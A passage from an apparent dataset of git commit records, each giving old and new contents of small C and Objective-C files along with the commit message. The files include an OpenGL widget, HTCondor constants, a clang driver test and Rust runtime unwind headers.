continuation.\n","lang":"C","license":"mit","repos":"8l\/8cc,8l\/8cc,jtramm\/8cc,vastin\/8cc,gergo-\/8cc,nobody1986\/8cc,vastin\/8cc,abc00\/8cc,jtramm\/8cc,rui314\/8cc,abc00\/8cc,8l\/8cc,cpjreynolds\/8cc,abc00\/8cc,andrewchambers\/8cc,gergo-\/8cc,rui314\/8cc,nobody1986\/8cc,abc00\/8cc,cpjreynolds\/8cc,andrewchambers\/8cc,rui314\/8cc,vastin\/8cc,vastin\/8cc,nobody1986\/8cc,cpjreynolds\/8cc,gergo-\/8cc,cpjreynolds\/8cc,andrewchambers\/8cc,andrewchambers\/8cc,rui314\/8cc,jtramm\/8cc,jtramm\/8cc,8l\/8cc,nobody1986\/8cc"}
{"commit":"5b40dbec30817266ae2c7833ea2599f4ba6d265d","old_file":"src\/TriangleStripGLWidget.h","new_file":"src\/TriangleStripGLWidget.h","old_contents":"#ifndef TRIANGLESTRIPGLWIDGET_H\n#define TRIANGLESTRIPGLWIDGET_H\n\n#include \"GLWidget.h\"\n#include <cmath>\n\n\/**\n * Draws a trapezoid on screen using a triangle strip. Strips can be thought of\n * lists of vertices, where each triangle in the list is composed of some\n * adjacent group of three vertices. The vertices are colored for easy viewing.\n * \n * @author Aaron Faanes, ported by Brett Langford\n * \n *\/\n\nclass TriangleStripGLWidget : public GLWidget\n{\npublic:\n\tTriangleStripGLWidget(QWidget* parent = 0);\nprotected:\n\tvoid render();\n};\n\nTriangleStripGLWidget::TriangleStripGLWidget(QWidget* parent) : GLWidget(parent) {}\n\nvoid TriangleStripGLWidget::render()\n{\n\tglBegin(GL_TRIANGLE_STRIP);\n\n\tglColor3f(1, 0, 0);\n\tglVertex2f(0, 0);\n\n\tglColor3f(1, 1, 0);\n\tglVertex2f(50, 0);\n\n\tglColor3f(0, 1, 0);\n\tglVertex2f(25, 50);\n\n\tglColor3f(0, 1, 1);\n\tglVertex2f(75, 50);\n\n\tglColor3f(0, 0, 1);\n\tglVertex2f(50, 100);\n\n\tglEnd();\n}\n\n#endif \/\/ TRIANGLESTRIPGLWIDGET_H\n","new_contents":"#ifndef TRIANGLESTRIPGLWIDGET_H\n#define TRIANGLESTRIPGLWIDGET_H\n\n#include \"GLWidget.h\"\n#include <cmath>\n\n\/**\n * Draws a trapezoid on screen using a triangle strip. Strips can be thought of\n * lists of vertices, where each triangle in the list is composed of some\n * adjacent group of three vertices. The vertices are colored for easy viewing.\n * \n * @author Aaron Faanes, ported by Brett Langford\n * \n *\/\nclass TriangleStripGLWidget : public GLWidget\n{\npublic:\n\tTriangleStripGLWidget(QWidget* parent = 0);\nprotected:\n\tvoid render();\n};\n\nTriangleStripGLWidget::TriangleStripGLWidget(QWidget* parent) : GLWidget(parent) {}\n\nvoid TriangleStripGLWidget::render()\n{\n\tglBegin(GL_TRIANGLE_STRIP);\n\n\tglColor3f(1, 0, 0);\n\tglVertex2f(0, 0);\n\n\tglColor3f(1, 1, 0);\n\tglVertex2f(50, 0);\n\n\tglColor3f(0, 1, 0);\n\tglVertex2f(25, 50);\n\n\tglColor3f(0, 1, 1);\n\tglVertex2f(75, 50);\n\n\tglColor3f(0, 0, 1);\n\tglVertex2f(50, 100);\n\n\tglEnd();\n}\n\n#endif \/\/ TRIANGLESTRIPGLWIDGET_H\n","subject":"Put comment right next to class def","message":"Put comment right next to class def\n\nIt's convention to have these without intervening spaces.\n","lang":"C","license":"mit","repos":"dafrito\/alpha,dafrito\/alpha,dafrito\/alpha"}
{"commit":"6e1b9916f3416fbfbda38f720bd01040532fd062","old_file":"src\/modules\/conf_randr\/e_smart_randr.h","new_file":"src\/modules\/conf_randr\/e_smart_randr.h","old_contents":"#ifdef E_TYPEDEFS\n#else\n# ifndef E_SMART_RANDR_H\n#  define E_SMART_RANDR_H\n\nEvas_Object *e_smart_randr_add(Evas *evas);\nvoid e_smart_randr_current_size_set(Evas_Object *obj, Evas_Coord w, Evas_Coord h);\nvoid e_smart_randr_monitors_create(Evas_Object *obj);\nvoid e_smart_randr_monitor_add(Evas_Object *obj, Evas_Object *mon);\nvoid e_smart_randr_monitor_del(Evas_Object *obj, Evas_Object *mon);\n\n# endif\n#endif\n","new_contents":"#ifdef E_TYPEDEFS\n#else\n# ifndef E_SMART_RANDR_H\n#  define E_SMART_RANDR_H\n\nEvas_Object *e_smart_randr_add(Evas *evas);\nvoid e_smart_randr_current_size_set(Evas_Object *obj, Evas_Coord w, Evas_Coord h);\nvoid e_smart_randr_monitors_create(Evas_Object *obj);\nvoid e_smart_randr_monitor_add(Evas_Object *obj, Evas_Object *mon);\nvoid e_smart_randr_monitor_del(Evas_Object *obj, Evas_Object *mon);\nEina_Bool e_smart_randr_changed_get(Evas_Object *obj);\nvoid e_smart_randr_changes_apply(Evas_Object *obj, Ecore_X_Window root);\n\n# endif\n#endif\n","subject":"Add prototypes for randr_changed_get and randr_changes_apply functions.","message":"Add prototypes for randr_changed_get and randr_changes_apply functions.\n\nSigned-off-by: Christopher Michael <cp.michael@samsung.com>\n\nSVN revision: 81104\n","lang":"C","license":"bsd-2-clause","repos":"tizenorg\/platform.upstream.enlightenment,rvandegrift\/e,FlorentRevest\/Enlightenment,rvandegrift\/e,tizenorg\/platform.upstream.enlightenment,rvandegrift\/e,tasn\/enlightenment,tasn\/enlightenment,tasn\/enlightenment,FlorentRevest\/Enlightenment,FlorentRevest\/Enlightenment,tizenorg\/platform.upstream.enlightenment"}
{"commit":"e1be62f3f580c1147088d58c03775603082e56d2","old_file":"src\/condor_includes\/condor_constants.h","new_file":"src\/condor_includes\/condor_constants.h","old_contents":"#ifndef CONSTANTS_H\n#define CONSTANTS_H\n\n\n#if !defined(__STDC__) && !defined(__cplusplus)\n#define const\n#endif\n\n\/*\n\tSet up a boolean variable type.  Since this definition could conflict\n\twith other reasonable definition of BOOLEAN, i.e. using an enumeration,\n\tit is conditional.\n*\/\n#ifndef BOOLEAN_TYPE_DEFINED\ntypedef int BOOLEAN;\n#endif\n#ifndef TRUE\nstatic const int\tTRUE = 1;\nstatic const int\tFALSE = 0;\n#endif\n\n\/*\n\tUseful constants for turning seconds into larger units of time.  Since\n\tthese constants may have already been defined elsewhere, they are\n\tconditional.\n*\/\n#ifndef TIME_CONSTANTS_DEFINED\nstatic const int\tMINUTE = 60;\nstatic const int\tHOUR = 60 * 60;\nstatic const int\tDAY = 24 * 60 * 60;\n#endif\n\n\/*\n  This is for use with strcmp() and related functions which will return\n  0 upon a match.\n*\/\n#ifndef MATCH\nstatic const int\tMATCH = 0;\n#endif\n#endif\n","new_contents":"#ifndef CONSTANTS_H\n#define CONSTANTS_H\n\n\n#if !defined(__STDC__) && !defined(__cplusplus)\n#define const\n#endif\n\n\/*\n\tSet up a boolean variable type.  Since this definition could conflict\n\twith other reasonable definition of BOOLEAN, i.e. using an enumeration,\n\tit is conditional.\n*\/\n#ifndef BOOLEAN_TYPE_DEFINED\ntypedef int BOOLEAN;\n#endif\n\n#if defined(TRUE)\n#\tundef TRUE\n#\tundef FALSE\n#endif\n\nstatic const int\tTRUE = 1;\nstatic const int\tFALSE = 0;\n\n\/*\n\tUseful constants for turning seconds into larger units of time.  Since\n\tthese constants may have already been defined elsewhere, they are\n\tconditional.\n*\/\n#ifndef TIME_CONSTANTS_DEFINED\nstatic const int\tMINUTE = 60;\nstatic const int\tHOUR = 60 * 60;\nstatic const int\tDAY = 24 * 60 * 60;\n#endif\n\n\/*\n  This is for use with strcmp() and related functions which will return\n  0 upon a match.\n*\/\n#ifndef MATCH\nstatic const int\tMATCH = 0;\n#endif\n#endif\n","subject":"Make sure \"TRUE\" and \"FALSE\" are undefined before setting them up as constant int's.","message":"Make sure \"TRUE\" and \"FALSE\" are undefined before setting them up as\nconstant int's.\n","lang":"C","license":"apache-2.0","repos":"zhangzhehust\/htcondor,clalancette\/condor-dcloud,zhangzhehust\/htcondor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,htcondor\/htcondor,bbockelm\/condor-network-accounting,htcondor\/htcondor,clalancette\/condor-dcloud,neurodebian\/htcondor,clalancette\/condor-dcloud,clalancette\/condor-dcloud,djw8605\/condor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,djw8605\/htcondor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,neurodebian\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,htcondor\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,djw8605\/condor,htcondor\/htcondor,mambelli\/osg-bosco-marco,neurodebian\/htcondor,djw8605\/condor,bbockelm\/condor-network-accounting,djw8605\/condor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,djw8605\/htcondor,htcondor\/htcondor,djw8605\/condor,djw8605\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,djw8605\/condor,djw8605\/condor,djw8605\/condor,djw8605\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,mambelli\/osg-bosco-marco"}
{"commit":"c9abf0d374c53607e67a7a875433efa8280ec3e0","old_file":"messages.c","new_file":"messages.c","old_contents":"","new_contents":"\/\/ Messages are the scrolling messages within the UI.\n\/\/ This file contains update and retrieval functions.\n\n#include \"7drltypes.h\"\n\n#define MAX_MSG_SIZE   ( 80 )\n\nstatic int oldest_message = ( MAX_MESSAGES - 1 );\n\nchar messages[ MAX_MESSAGES ][ MAX_MSG_SIZE ];\n\nvoid init_messages( void )\n{\n   bzero( messages, ( size_t ) sizeof( messages ) );\n\n   return;\n}\n\nvoid add_message( char *message )\n{\n\n\n}\n\nchar *get_message( int pos )\n{\n   return NULL;\n\n}\n\n","subject":"Add start of messaging interface.","message":"Add start of messaging interface.","lang":"C","license":"bsd-3-clause","repos":"mtimjones\/7drl"}
{"commit":"65c761a0d8dd7a84c9fbf9c108dafc1b8b690ac6","old_file":"php_shmt.h","new_file":"php_shmt.h","old_contents":"#ifndef PHP_SHMT_H\n\t#define PHP_SHMT_H\n\n\t#define PHP_SHMT_EXTNAME\t\"SHMT\"\n\t#define PHP_SHMT_EXTVER\t\t\"1.0.1\"\n\n\t#ifdef HAVE_CONFIG_H\n\t\t#include \"config.h\"\n\t#endif \/* HAVE_CONFIG_H *\/\n\n\textern zend_module_entry shmt_module_entry;\n\t#define phpext_shmt_ptr &shmt_module_entry;\n\n#endif \/* PHP_SHMT_H *\/\n","new_contents":"#ifndef PHP_SHMT_H\n\t#define PHP_SHMT_H\n\n\t#define PHP_SHMT_EXTNAME\t\"SHMT\"\n\t#define PHP_SHMT_EXTVER\t\t\"1.0.2dev\"\n\n\t#ifdef HAVE_CONFIG_H\n\t\t#include \"config.h\"\n\t#endif \/* HAVE_CONFIG_H *\/\n\n\textern zend_module_entry shmt_module_entry;\n\t#define phpext_shmt_ptr &shmt_module_entry;\n\n#endif \/* PHP_SHMT_H *\/\n","subject":"Update the version after tagging","message":"Update the version after tagging","lang":"C","license":"mit","repos":"sevenval\/SHMT,sevenval\/SHMT"}
{"commit":"3d2c4486a552db9d97ea32fd2235b2cc1358893a","old_file":"src\/shkutil\/include\/util\/raii_helper.h","new_file":"src\/shkutil\/include\/util\/raii_helper.h","old_contents":"#pragma once\n\n#include <utility>\n\nnamespace shk {\n\ntemplate<\n    typename T,\n    typename Return,\n    Return (Free)(T),\n    T EmptyValue = nullptr>\nclass RAIIHelper {\n public:\n  RAIIHelper(T obj)\n      : _obj(obj) {}\n\n  RAIIHelper(const RAIIHelper &) = delete;\n  RAIIHelper &operator=(const RAIIHelper &) = delete;\n\n  RAIIHelper(RAIIHelper &&other)\n      : _obj(other._obj) {\n    other._obj = EmptyValue;\n  }\n\n  ~RAIIHelper() {\n    if (_obj != EmptyValue) {\n      Free(_obj);\n    }\n  }\n\n  explicit operator bool() const {\n    return _obj != EmptyValue;\n  }\n\n  T get() const {\n    return _obj;\n  }\n\n private:\n  T _obj;\n};\n\n}  \/\/ namespace shk\n","new_contents":"#pragma once\n\n#include <utility>\n\nnamespace shk {\n\ntemplate<\n    typename T,\n    typename Return,\n    Return (Free)(T),\n    T EmptyValue = nullptr>\nclass RAIIHelper {\n public:\n  explicit RAIIHelper(T obj)\n      : _obj(obj) {}\n\n  RAIIHelper(const RAIIHelper &) = delete;\n  RAIIHelper &operator=(const RAIIHelper &) = delete;\n\n  RAIIHelper(RAIIHelper &&other)\n      : _obj(other._obj) {\n    other._obj = EmptyValue;\n  }\n\n  ~RAIIHelper() {\n    if (_obj != EmptyValue) {\n      Free(_obj);\n    }\n  }\n\n  explicit operator bool() const {\n    return _obj != EmptyValue;\n  }\n\n  T get() const {\n    return _obj;\n  }\n\n private:\n  T _obj;\n};\n\n}  \/\/ namespace shk\n","subject":"Make it harder to accidentally steal ownership of a RAIIHelper resource","message":"Make it harder to accidentally steal ownership of a RAIIHelper resource\n","lang":"C","license":"apache-2.0","repos":"per-gron\/shuriken,per-gron\/shuriken,per-gron\/shuriken,per-gron\/shuriken"}
{"commit":"1f52f05b9d74c601e7642ec9bd64eb38cf1452f0","old_file":"Pod\/Classes\/VOKMappableModel.h","new_file":"Pod\/Classes\/VOKMappableModel.h","old_contents":"\/\/\n\/\/  VOKMappableModel.h\n\/\/  VOKCoreData\n\/\/\n\n#import \"VOKCoreDataManager.h\"\n\n\/**\n *  Any models that conform to this protocol will be automatically registered for mapping with the shared instance \n *  of VOKCoreDataManager.\n *\/\n@protocol VOKMappableModel <NSObject>\n\n\/\/\/@return an array of VOKManagedObjectMap objects mapping foreign keys to local keys.\n+ (NSArray *)coreDataMaps;\n\n\/\/\/@return the key name to use to uniquely compare two instances of a class.\n+ (NSString *)uniqueKey;\n\n\/\/ If an optional method isn't defined, the default VOKManagedObjectMap behavior\/value will be used.\n@optional\n\n\/\/\/@return whether to ignore remote null\/nil values are ignored when updating.\n+ (BOOL)ignoreNullValueOverwrites;\n\n\/\/\/@return whether to warn about incorrect class types when receiving null\/nil values for optional properties.\n+ (BOOL)ignoreOptionalNullValues;\n\n\/\/\/@return completion block to run after importing each foreign dictionary.\n+ (VOKPostImportBlock)importCompletionBlock;\n\n@end\n","new_contents":"\/\/\n\/\/  VOKMappableModel.h\n\/\/  VOKCoreData\n\/\/\n\n#import \"VOKCoreDataManager.h\"\n\n\/**\n *  Any models that conform to this protocol will be automatically registered for mapping with the shared instance \n *  of VOKCoreDataManager.\n *\n *  Note that runtime protocol-conformance is based on declared conformance (the angle-bracketed protocol name appended \n *  to the interface) and not by checking that the required methods are implemented.  If you ignore the compiler \n *  warnings about failing to implement required methods, your app will crash.\n *\/\n@protocol VOKMappableModel <NSObject>\n\n\/\/\/@return an array of VOKManagedObjectMap objects mapping foreign keys to local keys.\n+ (NSArray *)coreDataMaps;\n\n\/\/\/@return the key name to use to uniquely compare two instances of a class.\n+ (NSString *)uniqueKey;\n\n\/\/ If an optional method isn't defined, the default VOKManagedObjectMap behavior\/value will be used.\n@optional\n\n\/\/\/@return whether to ignore remote null\/nil values are ignored when updating.\n+ (BOOL)ignoreNullValueOverwrites;\n\n\/\/\/@return whether to warn about incorrect class types when receiving null\/nil values for optional properties.\n+ (BOOL)ignoreOptionalNullValues;\n\n\/\/\/@return completion block to run after importing each foreign dictionary.\n+ (VOKPostImportBlock)importCompletionBlock;\n\n@end\n","subject":"Add note about how protocol conformance checking works.","message":"Add note about how protocol conformance checking works.\n","lang":"C","license":"mit","repos":"seanwolter\/Vokoder,vokal-isaac\/Vokoder,seanwolter\/Vokoder,vokal\/Vokoder,seanwolter\/Vokoder,chillpop\/Vokoder,seanwolter\/Vokoder,vokal\/Vokoder,chillpop\/Vokoder,designatednerd\/Vokoder,vokal-isaac\/Vokoder,chillpop\/Vokoder,vokal-isaac\/Vokoder,vokal\/Vokoder,designatednerd\/Vokoder,brockboland\/Vokoder,designatednerd\/Vokoder,vokal-isaac\/Vokoder,designatednerd\/Vokoder,vokal\/Vokoder,brockboland\/Vokoder,vokal-isaac\/Vokoder,brockboland\/Vokoder,chillpop\/Vokoder,seanwolter\/Vokoder,brockboland\/Vokoder,chillpop\/Vokoder,seanwolter\/Vokoder,brockboland\/Vokoder"}
{"commit":"88ed9208bb1ea5b3a8d9792b497353c067915f0d","old_file":"src\/persistent.c","new_file":"src\/persistent.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include \"therm.h\"\n\n\/* Loads settings from persistent storage, returning the number of\n   items read, or -1 on error. *\/\nint persistent_load() {\n\tFILE *f = fopen(SAVEPATH, \"r\");\n\tfloat pid[6];\n\tint ret = 0;\n\n\tif(!f) {\n\t\treturn -1;\n\t}\n\n\tret += fread(&wanted_temperature, sizeof(wanted_temperature), 1, f);\n\tret += fread(&wanted_humidity, sizeof(wanted_humidity), 1, f);\n\t\n\tret += fread(pid, sizeof(float), 6, f);\n\tpid_setvalues(pid[0], pid[1], pid[2], pid[3], pid[4], pid[5]);\n\n\tfclose(f);\n\treturn ret;\n}\n\n\/* Writes settings to persistent storage, returning the number of\n   items written, or -1 on error. *\/\nint persistent_write() {\n\tFILE *f = fopen(SAVEPATH, \"w\");\n\tfloat pid[6];\n\tint ret = 0;\n\n\tif(!f) {\n\t\tfprintf(stderr, \"Couldn't open \" SAVEPATH \" for writing.\\n\");\n\t\treturn -1;\n\t}\n\n\tret += fwrite(&wanted_temperature, sizeof(wanted_temperature), 1, f);\n\tret += fwrite(&wanted_humidity, sizeof(wanted_humidity), 1, f);\n\t\n\tpid_getvalues(pid+0, pid+1, pid+2, pid+3, pid+4, pid+5);\n\tret += fwrite(pid, sizeof(float), 6, f);\n\n\tfclose(f);\n\n\tfprintf(stderr, \"Done.\\n\");\n\treturn ret;\n}\n","subject":"Add file for reading\/writing settings. Oops.","message":"[hotfix\/0.4.2] Add file for reading\/writing settings. Oops.\n","lang":"C","license":"mit","repos":"Cat-Ion\/raspberrypi-incubator,Cat-Ion\/raspberrypi-incubator"}
{"commit":"d11c53b1a6573cccb0283a187ef3938614089621","old_file":"test\/Driver\/unknown-arg.c","new_file":"test\/Driver\/unknown-arg.c","old_contents":"\/\/ RUN: not %clang_cc1 %s -cake-is-lie -%0 -%d 2> %t.log\n\/\/ RUN: FileCheck %s -input-file=%t.log\n\n\/\/ CHECK: unknown argument\n\/\/ CHECK: unknown argument\n\/\/ CHECK: unknown argument\n\n\n\/\/ RUN: %clang -S %s -o %t.s -funknown-to-clang-option -Wunknown-to-clang-option -munknown-to-clang-optio\n\n\/\/ IGNORED: warning: argument unused during compilation: '-funknown-to-clang-option'\n\/\/ IGNORED: warning: argument unused during compilation: '-munknown-to-clang-option'\n\/\/ IGNORED: warning: unknown warning option '-Wunknown-to-clang-option'\n","new_contents":"\/\/ RUN: not %clang_cc1 %s -cake-is-lie -%0 -%d 2> %t.log\n\/\/ RUN: FileCheck %s -input-file=%t.log\n\n\/\/ CHECK: unknown argument\n\/\/ CHECK: unknown argument\n\/\/ CHECK: unknown argument\n\n\n\/\/ RUN: %clang -S %s -o %t.s -funknown-to-clang-option -Wunknown-to-clang-option -munknown-to-clang-option 2>&1 | FileCheck --check-prefix=IGNORED %s\n\n\/\/ IGNORED: warning: argument unused during compilation: '-funknown-to-clang-option'\n\/\/ IGNORED: warning: argument unused during compilation: '-munknown-to-clang-option'\n\/\/ IGNORED: warning: unknown warning option '-Wunknown-to-clang-option'\n","subject":"Fix an incomplete copy and paste in my previous patch.","message":"Fix an incomplete copy and paste in my previous patch.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@191245 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"26536e69151d5f8e083d8165421039b409c93ee3","old_file":"src\/rt\/rust_unwind.h","new_file":"src\/rt\/rust_unwind.h","old_contents":"\/\/ Unwinding stuff missing on some architectures (Mac OS X).\n\n#ifndef RUST_UNWIND_H\n#define RUST_UNWIND_H\n\n#ifdef __APPLE__\n#include <libunwind.h>\n\ntypedef int _Unwind_Action;\ntypedef void _Unwind_Context;\ntypedef void _Unwind_Exception;\ntypedef int _Unwind_Reason_Code;\n\n#else\n\n#include <unwind.h>\n\n#endif\n\n#endif\n\n","new_contents":"\/\/ Unwinding stuff missing on some architectures (Mac OS X).\n\n#ifndef RUST_UNWIND_H\n#define RUST_UNWIND_H\n\n#ifdef __APPLE__\n#include <libunwind.h>\n\ntypedef void _Unwind_Context;\ntypedef int _Unwind_Reason_Code;\n\n#else\n\n#include <unwind.h>\n\n#endif\n\n#if (defined __APPLE__) || (defined __clang__)\n\ntypedef int _Unwind_Action;\ntypedef void _Unwind_Exception;\n\n#endif\n\n#endif\n\n","subject":"Fix build with clang on non-Mac","message":"rt: Fix build with clang on non-Mac\n","lang":"C","license":"apache-2.0","repos":"carols10cents\/rust,fabricedesre\/rust,bombless\/rust,erickt\/rust,michaelballantyne\/rust-gpu,P1start\/rust,erickt\/rust,pczarn\/rust,rohitjoshi\/rust,waynenilsen\/rand,jroesch\/rust,AerialX\/rust,GrahamDennis\/rand,SiegeLord\/rust,jroesch\/rust,dinfuehr\/rust,nham\/rust,ktossell\/rust,robertg\/rust,zachwick\/rust,richo\/rust,servo\/rust,GBGamer\/rust,krzysz00\/rust,kimroen\/rust,avdi\/rust,dwillmer\/rust,AerialX\/rust,quornian\/rust,richo\/rust,dwillmer\/rust,l0kod\/rust,j16r\/rust,mitsuhiko\/rust,kmcallister\/rust,mvdnes\/rust,zubron\/rust,servo\/rust,rprichard\/rust,aepsil0n\/rust,omasanori\/rust,zaeleus\/rust,mdinger\/rust,KokaKiwi\/rust,defuz\/rust,philyoon\/rust,vhbit\/rust,GBGamer\/rust,zubron\/rust,miniupnp\/rust,vhbit\/rust,victorvde\/rust,mvdnes\/rust,omasanori\/rust,0x73\/rust,ebfull\/rust,nham\/rust,0x73\/rust,fabricedesre\/rust,mitsuhiko\/rust,bombless\/rust-docs-chinese,aneeshusa\/rust,bombless\/rust,pshc\/rust,kwantam\/rust,omasanori\/rust,pythonesque\/rust,philyoon\/rust,jbclements\/rust,jashank\/rust,fabricedesre\/rust,aturon\/rust,jroesch\/rust,robertg\/rust,michaelballantyne\/rust-gpu,quornian\/rust,SiegeLord\/rust,Ryman\/rust,nham\/rust,rohitjoshi\/rust,l0kod\/rust,barosl\/rust,aidancully\/rust,kmcallister\/rust,l0kod\/rust,richo\/rust,nham\/rust,zubron\/rust,XMPPwocky\/rust,aturon\/rust,carols10cents\/rust,ejjeong\/rust,jbclements\/rust,KokaKiwi\/rust,aepsil0n\/rust,jbclements\/rust,robertg\/rust,P1start\/rust,quornian\/rust,XMPPwocky\/rust,aneeshusa\/rust,stepancheg\/rust-ide-rust,krzysz00\/rust,mvdnes\/rust,quornian\/rust,barosl\/rust,aidancully\/rust,hauleth\/rust,reem\/rust,pczarn\/rust,mahkoh\/rust,seanrivera\/rust,jbclements\/rust,mahkoh\/rust,andars\/rust,victorvde\/rust,graydon\/rust,j16r\/rust,XMPPwocky\/rust,stepancheg\/rust-ide-rust,mdinger\/rust,pshc\/rust,mahkoh\/rust,omasanori\/rust,emk\/rust,emk\/rust,GBGamer\/rust,aneeshusa\/rust,vhbit\/rust,erickt\/rust,jroesch\/rust,rohitjoshi\/rust,pshc\/rust,kwantam\/rust,aturon\/rust,XMPPwocky\/rust,jashank\/rust,SiegeLord\/rust,mahkoh\/rust,pshc\/rust,retep998\/rand,jbclements\/rust,LeoTestard\/rust,kimroen\/rust,emk\/rust,ejjeong\/rust,kmcallister\/rust,dwillmer\/rust,pythonesque\/rust,mdinger\/rust,nwin\/rust,0x73\/rust,j16r\/rust,jbclements\/rust,michaelballantyne\/rust-gpu,LeoTestard\/rust,aneeshusa\/rust,aepsil0n\/rust,aepsil0n\/rust,dinfuehr\/rust,stepancheg\/rust-ide-rust,TheNeikos\/rust,zaeleus\/rust,pczarn\/rust,XMPPwocky\/rust,mvdnes\/rust,kmcallister\/rust,zubron\/rust,KokaKiwi\/rust,seanrivera\/rust,jbclements\/rust,ebfull\/rust,avdi\/rust,victorvde\/rust,mdinger\/rust,zachwick\/rust,philyoon\/rust,jroesch\/rust,vhbit\/rust,reem\/rust,zachwick\/rust,gifnksm\/rust,omasanori\/rust,sae-bom\/rust,dwillmer\/rust,emk\/rust,kimroen\/rust,andars\/rust,barosl\/rust,aneeshusa\/rust,l0kod\/rust,jashank\/rust,andars\/rust,avdi\/rust,Ryman\/rust,kwantam\/rust,servo\/rust,zaeleus\/rust,l0kod\/rust,zubron\/rust,erickt\/rust,pczarn\/rust,zubron\/rust,michaelballantyne\/rust-gpu,P1start\/rust,omasanori\/rust,pshc\/rust,cllns\/rust,stepancheg\/rust-ide-rust,mihneadb\/rust,untitaker\/rust,GBGamer\/rust,servo\/rust,aturon\/rust,bhickey\/rand,robertg\/rust,rohitjoshi\/rust,servo\/rust,stepancheg\/rust-ide-rust,hauleth\/rust,P1start\/rust,seanrivera\/rust,AerialX\/rust-rt-minimal,mitsuhiko\/rust,krzysz00\/rust,Ryman\/rust,richo\/rust,gifnksm\/rust,jroesch\/rust,mihneadb\/rust,LeoTestard\/rust,rprichard\/rust,carols10cents\/rust,KokaKiwi\/rust,mihneadb\/rust,pelmers\/rust,pythonesque\/rust,stepancheg\/rust-ide-rust,XMPPwocky\/rust,sarojaba\/rust-doc-korean,zaeleus\/rust,untitaker\/rust,rprichard\/rust,fabricedesre\/rust,seanrivera\/rust,AerialX\/rust,ejjeong\/rust,richo\/rust,erickt\/rust,dinfuehr\/rust,quornian\/rust,graydon\/rust,zaeleus\/rust,mdinger\/rust,ktossell\/rust,dwillmer\/rust,kimroen\/rust,defuz\/rust,cllns\/rust,Ryman\/rust,0x73\/rust,P1start\/rust,cllns\/rust,kmcallister\/rust,gifnksm\/rust,quornian\/rust,LeoTestard\/rust,kmcallister\/rust,ktossell\/rust,zachwick\/rust,dinfuehr\/rust,hauleth\/rust,defuz\/rust,pythonesque\/rust,LeoTestard\/rust,jashank\/rust,bluss\/rand,pczarn\/rust,defuz\/rust,ebfull\/rust,AerialX\/rust,cllns\/rust,nwin\/rust,GBGamer\/rust,l0kod\/rust,zubron\/rust,SiegeLord\/rust,kimroen\/rust,GBGamer\/rust,bombless\/rust,ruud-v-a\/rust,AerialX\/rust,pythonesque\/rust,philyoon\/rust,Ryman\/rust,dinfuehr\/rust,andars\/rust,krzysz00\/rust,michaelballantyne\/rust-gpu,aturon\/rust,huonw\/rand,mihneadb\/rust,nwin\/rust,richo\/rust,barosl\/rust,AerialX\/rust-rt-minimal,ktossell\/rust,pshc\/rust,pythonesque\/rust,sarojaba\/rust-doc-korean,rohitjoshi\/rust,michaelballantyne\/rust-gpu,sae-bom\/rust,achanda\/rand,erickt\/rust,aturon\/rust,reem\/rust,aidancully\/rust,reem\/rust,mitsuhiko\/rust,arthurprs\/rand,TheNeikos\/rust,pelmers\/rust,pelmers\/rust,gifnksm\/rust,TheNeikos\/rust,dwillmer\/rust,ebfull\/rust,miniupnp\/rust,kwantam\/rust,avdi\/rust,victorvde\/rust,seanrivera\/rust,LeoTestard\/rust,fabricedesre\/rust,AerialX\/rust-rt-minimal,miniupnp\/rust,rprichard\/rust,ebfull\/rust,SiegeLord\/rust,fabricedesre\/rust,rohitjoshi\/rust,LeoTestard\/rust,sae-bom\/rust,KokaKiwi\/rust,jashank\/rust,reem\/rust,ebfull\/rust,aidancully\/rust,hauleth\/rust,defuz\/rust,mdinger\/rust,jashank\/rust,pczarn\/rust,philyoon\/rust,jroesch\/rust,carols10cents\/rust,AerialX\/rust-rt-minimal,cllns\/rust,servo\/rust,andars\/rust,sae-bom\/rust,nham\/rust,barosl\/rust,bombless\/rust,krzysz00\/rust,GBGamer\/rust,cllns\/rust,hauleth\/rust,avdi\/rust,sae-bom\/rust,Ryman\/rust,untitaker\/rust,mihneadb\/rust,ejjeong\/rust,zachwick\/rust,fabricedesre\/rust,reem\/rust,hauleth\/rust,SiegeLord\/rust,untitaker\/rust,sarojaba\/rust-doc-korean,dinfuehr\/rust,barosl\/rust,KokaKiwi\/rust,seanrivera\/rust,nwin\/rust,mvdnes\/rust,andars\/rust,bombless\/rust,0x73\/rust,nwin\/rust,servo\/rust,graydon\/rust,l0kod\/rust,dwillmer\/rust,miniupnp\/rust,TheNeikos\/rust,ejjeong\/rust,j16r\/rust,j16r\/rust,pelmers\/rust,AerialX\/rust-rt-minimal,jbclements\/rust,ejjeong\/rust,pelmers\/rust,defuz\/rust,pshc\/rust,nwin\/rust,pythonesque\/rust,shepmaster\/rand,jroesch\/rust,miniupnp\/rust,j16r\/rust,Ryman\/rust,pelmers\/rust,untitaker\/rust,zaeleus\/rust,nwin\/rust,aneeshusa\/rust,rprichard\/rust,michaelballantyne\/rust-gpu,kmcallister\/rust,ebfull\/rand,ruud-v-a\/rust,kimroen\/rust,rprichard\/rust,